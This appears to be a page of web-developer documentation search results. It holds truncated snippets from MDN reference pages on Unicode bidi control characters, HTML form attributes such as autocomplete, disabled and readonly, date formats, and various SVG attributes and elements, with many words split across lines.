ipt, and css to phones and pcs. another case where you may be forced to use this approach is if you cannot, for whatever reason, modify your existing desktop site, and need to have a 100% separate mobile site. though it's not ideal, at least you have this option. examples most of the major web applications you see in the wild have chosen this path, including facebook, youtube, digg, and flickr. in f...
The Unicode Bidirectional Text Algorithm - Developer guides
hat make it possible to control directionality of ranges of text. there are two sets of control characters; one set opens the override, and another restores the original directionality. you must always follow each opening character with an appropriate closing character. ...
...algorithm, displaying the characters in memory order, from left to right right-to-left override (rlo) u+202e ‮ <bdo dir="rtl"> overrides the bidi algorithm and displays the embedded characters in reverse memory order, from right to left closing unicode bidi algorithm control characters character code point html entity markup equivalent descr
iption pop directional formatting (pdf) u+202c ‬ closing whatever opening tag used the dir attribute used for rle or lre </bdo> used for rlo or lro pop directional isolate (pdi) u+2069 ⁩ closing whatever opening tag used the dir attribute used for rli, lri, or fsi ...
The HTML autocomplete attribute - HTML: Hypertext Markup Language
ssword. "one-time-code" a one-time code used for verifying user identity. "organization-title" a job title, or the title a person has within an organization, such as "senior technical writer", "president", or "assistant troop leader". "organization" a company or organization name, such as "acme widget company" or "girl scouts of america". "street-address" a street address. this can be mult
iple lines of text, and should fully identify the location of the address within its second administrative level (typically a city or town), but should not include the city name, z
ip or postal code, or country name. "address-line1", "address-line2", "address-line3" each individual line of the street address. these should only be present if the "street-address" is not present. "address-level4" th...
...which the address is located. "address-level1" the first administrative level in the address. this is typically the province in which the address is located. in the united states, this would be the state. in switzerland, the canton. in the united kingdom, the post town. "country" a country code. "country-name" a country name. "postal-code" a postal code (in the united states, this is the z
ip code). "cc-name" the full name as printed on or associated with a payment instrument such as a credit card. using a full name field is preferred, typically, over breaking the name into pieces. "cc-given-name" a given (first) name as given on a payment instrument like a credit card. "cc-additional-name" a middle name as given on a payment instrument or credit card. "cc-family-name" a famil...
disabled - HTML: Hypertext Markup Language
the boolean disabled attribute, when present, makes the element not mutable, focusable, or even submitted with the form. the user can neither edit nor focus on the control, nor it's form control descendants. if the disabled attribute is specified on a form control, the element and its form control descendants do not partic
ipate in constraint validation. often browsers grey out such controls and it won't receive any browsing events, like mouse clicks or focus-related ones. the disabled attribute is supported by <button>, <command>, <fieldset>, <keygen>, <optgroup>, <option>, <select>, <textarea> and <input>. this boolean disabled attribute indicates that the user cannot interact with the control or it's descendant controls. if this attribute is not specified, the control inherits it...
...if the attribute is not included, the :enabled pseudo class will match. if the element doesn't support the disabled attribute, the attribute will have no effect, including not leading to being matched by the :disabled and :enabled pseudo classes. constraint validation if the element is disabled, then the element's value can not receive focus and cannot be updated by the user, and does not partic
ipate in constraint validation. examples when form controls are disabled, many browsers will display them in a lighter, greyed-out color by default. here are examples of a disabled checkbox, radio button, <option> and <optgroup>, as well as some form controls that are disabled via the disabled attribute set on the ancestor <fieldset> element. the <option>s are disabled, but the <select> itself is...
HTML attribute: readonly - HTML: Hypertext Markup Language
the readonly attribute is supported by text, search, url, tel, email, password, date, month, week, time, datetime-local, and number<input> types and the <textarea> form control elements. ...
... disabled controls can not receive focus and are not submitted with the form and generally do not function as controls until they are enabled. because a read-only field cannot have it's value changed by a user interaction, required does not have any effect on inputs with the readonly attribute also specified. the only way to modify dynamically the value of the readonly attribute is through a scr
ipt. note: the required attribute is not permitted on inputs with the readonly attribute specified. usability browsers display the readonly attribute... constraint validation if the element is readonly, then the element's value can not be updated by the user, and does not partic
ipate in constraint validation. example html <div class="group"> <input type="textbox" value="some value" reado...
Date and time formats used in HTML - HTML: Hypertext Markup Language
0:00:01-04:00 1 second past midnight eastern standard time (est) on january 1, 1901 [details] basics before looking at the various formats of date and time related strings used by html elements, it is helpful to understand a few fundamental facts about the way they're defined. html uses a variation of the iso 8601 standard for its date and time strings. it's worth reviewing the descr
iptions of the formats you're using in order to ensure that your strings are in fact compatible with html, as the html specification includes algorithms for parsing these strings that is actually more precise than iso 8601, so there can be subtle differences in how date and time strings are expected to look. character set dates and times in html are always strings which use the ascii character set...
...imately 365.2422 days to complete a single orbit around the sun. leap years help to adjust the calendar to keep it synchronized with the actual position of the planet in its orbit. adding a day to the year every four years essentially makes the average year 365.25 days long, which is close to correct. the adjustments to the algorithm (taking a leap year when the year can be divided by 400, and sk
ipping leap years when the year is divisible by 100) help to bring the average even closer to the correct number of days (365.2425 days). scientists occasionally add leap seconds to the calendar (seriously) to handle the remaining three ten-thousandths of a day and to compensate for the gradual, naturally occurring slowing of earth's rotation. while month 02, february, normally has 28 days, it has ...
<base>: The Document Base URL element - HTML: Hypertext Markup Language
if the document has no <base> elements, then baseuri defaults to location.href. content categories metadata content. permitted content none, it is an empty element. tag omission there must be no closing tag. permitted parents a <head> that doesn't contain another <base> element. ...
...w, unnamed browsing context. _parent: show the result in the parent browsing context of the current one, if the current page is inside a frame. if there is no parent, acts the same as _self. _top: show the result in the topmost browsing context (the browsing context that is an ancestor of the current one and has no parent). if there is no parent, acts the same as _self. usage notes mult
iple <base> elements if mult
iple <base> elements are used, only the first href and first target are obeyed -- all others are ignored. in-page anchors links pointing to a fragment in the document -- e.g. <a href="#some-id"> -- are resolved with the <base>, triggering an http request to the base url with the fragment attached. for example: given <base href="https://example.com"> ...and this lin...
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
usage notes to change the indentation applied to the quoted text, use the css margin-left and/or margin-right properties, or the margin shorthand property. to include shorter quotes inline rather than in a separate block, use the <q> (quotation) element. example this example demonstrates the use of the <blockquote> element to quote a passage from rfc 1149, a standard for the transmission of
ip datagrams on avian carriers. <blockquote cite="https://tools.ietf.org/html/rfc1149"> <p>avian carriers can provide high delay, low throughput, and low altitude service. the connection topology is limited to a single point-to-point path for each carrier, used with standard carriers, but many carriers can be used without significant interference with each other, outside of early spri...
...r, used with standard carriers, but many carriers can be used without significant interference with each other, outside of early spring. this is because of the 3d ether space available to the carriers, in contrast to the 1d ether used by ieee802.3. the carriers have an intrinsic collision avoidance system, which increases availability.</p> </blockquote> the output from this html sn
ippet looks like this: specifications specification status comment html living standardthe definition of '<blockquote>' in that specification. living standard html5the definition of '<blockquote>' in that specification. recommendation html 4.01 specificationthe definition of '<blockquote>' in that specification. recommendation ...
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
a simple example of using the <content> element. it is an html file with everything needed in it. note: for this code to work, the browser you display it in must support web components. see enabling web components in firefox. ...
... specifications this element is no longer defined by any specifications. browser compatibility the compatibility table in this page is generated from structured data. ...
name - SVG: Scalable Vector Graphics
s value is the name which is used as the first parameter for icc color specifications within fill, stroke, stop-color, flood-color and lighting-color property values to identify the color profile to use for the icc color specification and the name which can be the value of the color-profile property. note: if no name is provided, it will be impossible to reference the given color profile descr
iption. the name "srgb" is predefined; any color profile descr
iptions with <name> set to "srgb" (case-insensitively) will be ignored. font-face-name for <font-face-name>, name defines the name of the font face. value <name> default value none animatable yes <name> this value specifies the name of a local font. unlike the syntax allowed between th...
...th <name> set to "srgb" (case-insensitively) will be ignored. font-face-name for <font-face-name>, name defines the name of the font face. value <name> default value none animatable yes <name> this value specifies the name of a local font. unlike the syntax allowed between the parentheses of the local(...) clause in an @font-face rule src descr
iptor, the font name specified in this attribute is not surrounded in single or double quotes. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'name for <font-face-name>' in that specification. recommendation initial definition for <font-face-name> scalable vector graphics (svg) 1.1 (second...
overflow - SVG: Scalable Vector Graphics
the overflow attribute sets what to do when an element's content is too big to fit in its block formatting context. it has the same parameter values and meaning as the css overflow property, however, the following additional points apply: if it has a value of visible, the attribute has no effect (i.e., a cl
ipping rectangle is not created). if the overflow property has the value hidden or scroll, a cl
ip of the exact size of the svg viewport is applied. when scroll is specified on an <svg> element, a scrollbar or panner is normally shown for the svg viewport whether or not any of its content is cl
ipped. within svg content, the value auto implies that all rendered content for child elements must be visible, either through a scrolling mechanism, or by rendering with no cl
ip. although t...
... specifications specification status comment css level 2 (revision 1)the definition of 'overflow' in that specification. recommendation definition in css scalable vector graphics (svg) 2the definition of 'overflow' in that specification. candidate recommendation simplifies the definition and...
pathLength - SVG: Scalable Vector Graphics
f path length). this can affect the actual rendered lengths of paths; including text paths, animation paths, and various stroke operations. basically, all computations that require the length of the path. stroke-dasharray, for example, will assume the start of the path being 0 and the end point the value defined in the pathlength attribute. seven elements are using this attribute: <circle>, <ell
ipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <style> path { fill: none; stroke: black; stroke-width: 2; stroke-dasharray: 10; } </style> <!-- no pathlength, the real length of the path is used. in that case, 100 user units --> <path d="m 0,10 h100"/> <!-- comp...
...th was 30 user units long --> <path d="m 0,40 h100" pathlength="30"/> <!-- compute everything like if the path length was 10 user units long --> <path d="m 0,50 h100" pathlength="10"/> </svg> circle for <circle>, pathlength lets authors specify a total length for the circle, in user units. value <number> default value none animatable yes ell
ipse for <ell
ipse>, pathlength lets authors specify a total length for the ell
ipse, in user units. value <number> default value none animatable yes line for <line>, pathlength lets authors specify a total length for the line, in user units. value <number> default value none animatable yes path for <path>, path...
requiredExtensions - SVG: Scalable Vector Graphics
s> the value is a list of references (iri references in svg 1, url references in svg 2) which identify the required extensions, with the individual values separated by white space. determines whether all of the named extensions are supported by the user agent. if all of the given extensions are supported, then the attribute evaluates to true; otherwise, the current element and its children are sk
ipped and thus will not be rendered. note: if a given extension reference contains white space within itself, that white space must be escaped. requiredextensions is often used in conjunction with the <switch> element. if the attribute is used in other situations, then it represents a simple switch on the given element whether to render the element or not. note: if several extension reference ob...
...recommended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases. if the attribute is not present, then it implicitly evaluates to "true". if a null string or empty string value is given, the attribute evaluates to "false". the iri names for the extension should include versioning information, such as "http://example.org/svgextensionxyz/1.0", so that scr
ipt writers can distinguish between different versions of a given extension. specifications specification status comment scalable vector graphics (svg) 2the definition of 'requiredextensions' in that specification. candidate recommendation iris replaced with urls scalable vector graphics (svg) 1.1 (second edition)the definition of 'requiredextensions' in ...
target - SVG: Scalable Vector Graphics
the target attribute should be used when there are mult
iple possible targets for the ending resource, such as when the parent document is embedded within an html or xhtml document, or is viewed with a tabbed browser. this attribute specifies the name of the browsing context (e.g., a browser tab or an (x)html iframe or object element) into which a document is to be opened when the link is activated: only one element is using this attribute: <a> html, body, svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within iframe</text> </a> <a href="https://developer.moz...
... by the linked content, if it exists and can be securely accessed from this document. _top the content of the full active window or tab is replaced by the linked content, if it exists and can be securely accessed from this document _blank a new un-named window or tab is requested for the display of the linked content, if this document can securely do so. if the user agent does not support mult
iple windows/tabs, the result is the same as _top. <xml-name> specifies the name of the browsing context (tab, inline frame, object, etc.) for display of the linked content. if a context with this name already exists, and can be securely accessed from this document, it is re-used, replacing the existing content. if it does not exist, it is created (the same as '_blank', except that it now has a na...
type - SVG: Scalable Vector Graphics
ywords represent convenience shortcuts to allow commonly used color operations to be performed without specifying a complete matrix. for the <fefuncr>, <fefuncg>, <fefuncb>, and <fefunca> elements, it indicates the type of component transfer function. for the <feturbulence> element, it indicates whether the filter primitive should perform a noise or turbulence function. for the <style> and <scr
ipt> elements, it defines the content type of the element. usage context for the <animatetransform> elements categories none value translate | scale | rotate | skewx | skewy animatable no normative document svg 1.1 (2nd edition) for the <fecolormatrix> element categories none value matrix | saturate | huerotate | lum...
...ments categories none value identity | table | discrete | linear | gamma animatable yes normative document svg 1.1 (2nd edition) for the <feturbulence> element categories none value fractalnoise | turbulence animatable yes normative document svg 1.1 (2nd edition) for the <style> and <scr
ipt> elements categories none value <content-type> animatable no normative document svg 1.1 (2nd edition) : scr
ipt svg 1.1 (2nd edition) : style example elements the following elements can use the values attribute <animatetransform> <fecolormatrix> <fefunca> <fefuncb> <fefuncg> <fefuncr> <feturbulence> <scr
ipt> <style> ...
xlink:title - SVG: Scalable Vector Graphics
inter hover over a starting resource. note: new content should use a <title> child element rather than a xlink:title attribute. these elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <scr
ipt>, <set>, <textpath>, <tref>, and <use> usage context value <anything> default value none animatable no <anything> this value specifies the title used to describe the meaning of the link or resource. specifications specification status comment scalable vector graphics (svg) 2the definition of 'seed' in that specificati...
... <anything> this value specifies the title used to describe the meaning of the link or resource. specifications specification status comment scalable vector graphics (svg) 2the definition of 'seed' in that specification. candidate recommendation deprecated the attribute and made it only apply to <a>, <image>, <lineargradient>, <pattern>, <radialgradient>, <scr
ipt>, <textpath>, and <use> scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification. recommendation initial definition ...
Content type - SVG: Scalable Vector Graphics
angle <angle> angles are specified in one of two ways. when used in the value of a property in a stylesheet, an <angle> is defined as follows: angle ::= number (~"deg" | ~"grad" | ~"rad")? where deg indicates degrees, grad indicates grads and rad indicates radians. for properties defined in css2, an angle unit identifier must be provided. for angle values in svg-specific properties and their corresponding presentation attributes, the angle unit identifier is optional. ...
...in the svg dom, a <percentage> is represented using an svgnumber or svganimatednumber object. time <time> a time value is a <number> immediately followed by a time unit identifier. the time unit identifiers are: ms: milliseconds s: seconds transform-list <transform-list> a <transform-list> is used to specify a list of coordinate system transformations. a detailed descr
iption of the possible values for a <transform-list> is given in the transform attribute definition. within the svg dom, a <transform-list> value is represented using an svgtransformlist or svganimatedtransformlist object. url url a uniform resource locator. a url is a sequence of unicode characters, building an address to an internal or external resource. before svg 2, the more limi...
<defs> - SVG: Scalable Vector Graphics
neargradient> </defs> <!-- using my graphical objects --> <use x="5" y="5" xlink:href="#mycircle" fill="url('#mygradient')" /> </svg> attributes global attributes core attributes most notably: id lang styling attributes class, style event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriescontainer element, structural elementpermitt...
..., fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescr
iptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <cl
ippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <scr
ipt>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<defs>' in that specifi...
<feColorMatrix> - SVG: Scalable Vector Graphics
the prime symbol ' is used in mathematics indicate the result of a transformation. | r' | | r1 r2 r3 r4 r5 | | r | | g' | | g1 g2 g3 g4 g5 | | g | | b' | = | b1 b2 b3 b4 b5 | * | b | | a' | | a1 a2 a3 a4 a5 | | a | | 1 | | 0 0 0 0 1 | | 1 | in simplified terms, below is how each color channel in the new pixel is calculated. the last row is ignored because its values are constant. ...
... if, say, we want to make a completely black image redder, we can make the r5 a positive real number x, boosting the redness on every pixel of the new image by x. an identity matrix looks like this: r g b a w r' | 1 0 0 0 0 | g' | 0 1 0 0 0 | b' | 0 0 1 0 0 | a' | 0 0 0 1 0 | in it, every new value is exactly 1 times its old value, with nothing else added. it is recommended to start man
ipulating the matrix from here. usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in type values dom interface this element implements the svgfecolormatrixelement interf...
<feComposite> - SVG: Scalable Vector Graphics
link"> <title>example fecomposite - examples of fecomposite operations</title> <desc>four rows of six pairs of overlapping triangles depicting the six different fecomposite operators under different opacity values and different clearing of the background.</desc> <defs> <desc>define two sets of six filters for each of the six compositing operators. ...
...ws of six pairs of overlapping triangles depicting the six different fecomposite operators under different opacity values and different clearing of the background.</desc> <defs> <desc>define two sets of six filters for each of the six compositing operators. the first set w
ipes out the background image by flooding with opaque white. ...
<image> - SVG: Scalable Vector Graphics
les or other svg files. the only image formats svg software must support are jpeg, png, and other svg files. animated gif behavior is undefined. svg files displayed with <image> are treated as an image: external resources aren't loaded, :visited styles aren't applied, and they cannot be interactive. to include dynamic svg elements, try <use> with an external url. ...
... y: positions the image vertically from the origin. ...
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
if an element can be described by visible text, it is recommended to reference that text with an aria-labelledby attribute rather than using the <title> element. note: for backward compatibility with svg 1.1, <title> elements should be the first child element of their parent. ...
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<title>' in that specification. recommendation initial definition...
Positions - SVG: Scalable Vector Graphics
t of other computer drawing routines). that is, the top left corner of the document is considered to be the point (0,0), or point of origin. positions are then measured in pixels from the top left corner, with the positive x direction being to the right, and the positive y direction being to the bottom. note that this is slightly different than the way you're taught to graph as a kid (y axis is fl
ipped). however, this is the same way elements in html are positioned (by default, ltr documents are considered not the rtl documents which position x from right-to-left). example: the element <rect x="0" y="0" width="100" height="100" /> defines a rectangle from the upper left corner, that spans from there 100px to the right and to the bottom. what are "pixels"? in the most basic case one pi...
...display an area that starts at user unit (0,0) and spans 100x100 user units to the right and to the bottom. this effectively zooms in on the 100x100 unit area and enlarges the image to double size. the current mapping (for a single element or the whole image) of user units to screen units is called user coordinate system. apart from scaling the coordinate system can also be rotated, skewed and fl
ipped. the default user coordinate system maps one user pixel to one device pixel. (however, the device may decide, what it understands as one pixel.) lengths in the svg file with specific dimensions, like "in" or "cm", are then calculated in a way that makes them appear 1:1 in the resulting image. a quote from the svg 1.1 specification illustrates this: [...] suppose that the user agent can dete...